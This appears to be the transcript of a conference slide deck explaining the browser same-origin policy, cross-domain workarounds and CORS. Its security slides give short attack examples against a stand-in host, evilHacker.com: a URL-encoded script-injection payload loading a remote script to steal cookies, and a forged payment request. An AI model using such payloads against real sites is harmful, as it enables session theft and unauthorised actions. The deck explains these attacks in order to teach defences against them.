Same-origin policy is an important security concept of the modern browser languages like JavaScript but becomes an obstacle for developers when building complex client-side apps. Over time there have been lots of ingenious workarounds using JSON-P, IFRAME and proxies. As of January 2013 the well known Cross Origin Resource Sharing (CORS) comes as proposed standard by W3C and has now native support by all major browsers.

1. var title = “Go
Beyond Cross Domain
Boundaries”;
$(this).attr(“title”, title);
$(this).data({
font: ‘Segoe UI’,
size: ‘30pt’,
speaker: ‘Ivelin Andreev’
});

2. About me
• Project Manager @
• 11 years professional experience
• MCPD .NET Web Development
• ivelin.andreev@icb.bg
•
http://www.linkedin.com/in/ivelin
• Business Interests
o Web Development (ASP.NET, jQuery, AJAX)
o SOA, Integration
o GIS, Mapping
o Performance tuning, Network security

3. Agenda
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What is Same Origin Policy
Security issues it solves
Security issues it does not solve
X-domain techniques
CORS
Why CORS?
Demo

4. The Same Origin Policy (SOP)
• Same origin - if scheme://host:port are the same
• JavaScript limited by SOP
• Script access properties of documents with same origin
o DOM objects
o Cookies

5. Same origin policy is the most important security
concept in modern browsers
https://lh4.googleusercontent.com/-o9vXTXNxnYc/TY3u5UpV-UI/AAAAAAAAXiM/gvMHSRbhGWU/s1600/1600constitution.jpg

6. Same Origin Policy as Concept
• Not a single policy but set of mechanisms
o
o
o
o
o
o
SOP for DOM access
SOP for XMLHttpRequest
SOP for Cookies
SOP for Flash
SOP for Java
SOP for Silverlight
• Significant bottleneck in browsers
• Behavior is different among browsers
• Static bound to single domain
o Not all content on site should be trusted the same

7. Change origin is possible (with some limitations)
http://nutshelltek.com/wp-content/uploads/2013/05/Security.jpg

8. Changing Origin
• document.domain
o Allow subdomain to access parent domain
o Must set to the same value for parent domain and subdomain
• Port number set to null
• Even in document.domain = document.domain
• Cross-origin network access
o X-Origin Writes – Typically Allowed (redirects, form submissions)
o X-Origin Embed – Typically Allowed
• JavaScript <script src="..."></script>
• CSS <link rel="stylesheet" href="...">
• Frames <frame>, <iframe>
• Media & Plugins <img>, <video>, <audio>, <object>, <embed>
o X-Origin Reads – Typically Not allowed

9. Same-Origin Policy Limits
• http://evilHacker.com
o <a>
• Can link to resource in another domain
• But cannot control site from another domain
o <iframe>
• Include resource from another domain
• But cannot directly access DOM
o <script>
• Include script from another domain
• But cannot act on behalf of the script
• Implement policy check and inspect contents of enclosing page
o <form method=“POST” name=“f1” action=“http://company.com/page.aspx”>
• Submit forms without user input
• But cannot access user cookies

10. Cross domain policy does NOT prevent web
application exploits

11. Cross Site Request Forgery (XSRF)
• Case
o User logs in http://goodSite.com as usual
o http://evilHacker.com can
• POST new password in form to GoodSite.com
• GET http://goodSite.com/Payment.aspx?amount=1000&userID=EvilHacker
o Authenticated because cookies are sent
• Impact
o EvilHacker.com cannot read DOM but can POST to app
o User access is blocked or stolen
o Act on behalf of the user (payment)
• Prevention
o Identify valid requests
• By user provided secret (low usability)
• By XSRF token for every request

12. Cross Site Scripting Inclusion (XSSI)
• Case
o
o
o
o
o
o
http://goodSite.com includes <script> to perform AJAX request
http://evilHacker.com includes the same script
Authenticated because cookies are sent
JSONP (SCRIPT + JSON) returned by server as usual
SCRIPT evaluated in EvilHacker.com context and JSON is stolen
EvilHacker.com redefines callback
• Impact
o User data are stolen
• Prevention
o http://goodSite.com must check policy of script inclusion

13. Cross Site Scripting (XSS)
• Case
o http://evilHacker.com injects <script> in http://goodSite.com application context
• By posting HTML form field
• By tricking user to click link with query parameters sent by mail
o %3Cscript%20src%3D%27evilHacker.com%2Fscript.js%27%3E
• Impact
o Steel user cookies for GoodSite.com and transfer to EvilHacker.com
o Phishing attack redirects to GoodSite.com copy
o Script modify GoodSite.com content (even SSL cert will not warn)
• Prevention
o Filter user input
o ALWAYS HTML and URL Encode/Decode
o Do not send untrusted data to browser

14. There is need of reliable and secure
Cross Domain Messaging
http://leadership-standard.blogspot.com/2012/08/the-message-you-dont-need.html

15. Common X-Domain Use Cases
Typical cases
• Consume REST APIs
• Build mashups
• Operate Ads
• Synchronize two pages
Use when
• You own both sites
• Request information from a site that trusts you
Note
• No solution solves the problems in every browser.

16. Policy limitations forced developers create
ingenious workarounds

17. window.name Hack
• Child window (frame/iframe) sets:
window.name = ‘{“message”:”text”}’;
• Parent window:
f = document.createElement('iframe');
f.onload = function () { doWork(); f.src='about:blank'};
f.src = 'http://otherDomain.com';
document.body.appendChild(f);
Notes:
• Very tricky, works on all browsers

18. document.domain Hack
• Allows cross SUB-domain access
//From a page in http://sub.masterDomain.com
document.domain = “masterDomain.com”;
• Pages can access each other’s DOM objects
• The sub- and parent domain have the same permissions
Notes:
• document.domain is ReadOnly property in HTML spec.
• Useful when you do not own both sites
• Works on all browsers
• Port set to null when document.domain is set

19. iFrame Proxy Hack
• domainB tries to get parent.document
o Permission denied to access property ‘document’’
• Hidden iFrame to exchange data
• Proxy: subscribes to onResize event
• Child: domainB sets hash on proxy domainA.com#msg
• Proxy: reads message and changes window.top
Notes:
• Do-it-yourself approach
• Complex and browser-dependent
• Widely accepted as standard

20. Other solutions are not that hacky
http://designtaxi.com/userfiles/articles/101845/thumb/banner.png

21. What is new in HTML5
window.postMessage
Pass message between two windows safely
otherWindow.postMessage(message, targetOrigin, [FF:transfer]);
• otherWindow can listen for sent messages by executing:
function receiveMessage(event) {
if (event.origin !== "http://example.org") return; ... }
window.addEventListener("message", receiveMessage, false);
Notes:
• Basic support in IE8, IE9, limitations in IE10
• Always check origin to prevent XSS attacks
• If you do not expect messages, do not subscribe

22. JSON-P
• Loads JSON from another domain
• Exploits HTML <script> element exception to SOP
• Client adds query parameters to server
<script type="application/javascript" src=
"http://otherDomain.com/Svc/Get?callback=parseResponse" />
• Server returns JSON wrapped in function call
parseResponse ({“this”:”is”,”json”:”data”});
• JS function callback evaluated in page
Notes:
• Useful for RESTful APIs
• Vulnerable to XSRF and XSS attacks

23. easyXDM Library
• Pass string messages between domains
o Enables developers to workaround SOP limitations
o postMessage transport on modern browsers, fallback to frame element
• Consumer
var socket = new easyXDM.Socket({
remote:
“http://domain.com/provider/”, //provider path
onMessage:
function(message, origin){
if (origin==“…”) alert(message); } });
socket.postMessage(“message");
• Provider
var socket = new easyXDM.Socket({
onMessage:
function(message, origin) {alert(message); } });

24. Cross Origin Resource Sharing
http://onlypositive.net/image.axd?picture=2010%2F6%2Fsharing-ice-cream-cone-girl-dog.jpg

25. How does CORS Work
• Request headers
o Origin: http://myDomain.com
• Response headers
o Access-Control-Allow-Origin:
• http://myDomain.com
• “*” – all domains allowed
o Error if not allowed
Note: “*” does not allow supply of credentials
o HTTP authentication will not work
o Client SSL certificates will not work
o Cookies will not work

26. Preflight Request
• Required when
o HTTP verb other than GET/POST
o Request MIME type other than text/plain (i.e. application/json)
o Custom headers
• Headers determine whether CORS is enabled
o Request (HTTP OPTIONS method)
• Origin: http://myDomain.com
• Access-Control-Request-Method: [method the request wants to use]
• Access-Control-Request-Headers: [optional CSV, custom headers]
o Response
• Access-Control-Allow-Origin: [allowed origin]
• Access-Control-Allow-Methods: [CSV allowed methods]
• Access-Control-Allow-Headers: [CSV allowed headers]
• Access-Control-Max-Age: [seconds preflight is valid]

27. Credential Request
• By Default
o X-domain do not send credentials (cookies, client SSL, HTTP authentication)
• Request (specify send credentials)
o xmlHttpRequest.withCredentials = true;
• Response headers (if server allows )
o
o
o
o
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://myDomain.com
Otherwise response will be ignored by browser
Header can be sent during pre-flight request

28. Can I Use
http://caniuse.com/cors
IE 8 and IE9 limitations
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Use XDomainRequest
Preflight not supported
Request limited to the target scheme of hosting page

29. Why use CORS
• The most robust solution for X-domain requests with JS
• The best approach to consume RESTful API with JS
• Modern alternative to JSON-P and W3C standard
JSON-P
HTTP Verbs
GET
Browser Support All
CORS
GET,PUT,POST,DELETE,OPTIONS
Does not < IE 8
Error Handling
Tricky to none
HTTP status access via XHR
Performance
1 HTTP Request
2 Requests (up to 3)
Authentication
Cookies only
Cookies, Basic, client SSL
X-Site Scripting
If external site compromised
Consumer parses response

30. Check this out
• Open Web Application Security Project
o https://www.owasp.org/
• Mozilla Developer Network
o http://developer.mozilla.org
• Html5rocks CORS Tutorial
o http://www.html5rocks.com/en/tutorials/cors/
• Gruyere Code Lab - Exploits and Defenses
o http://google-gruyere.appspot.com/

31. Demo
DEMO

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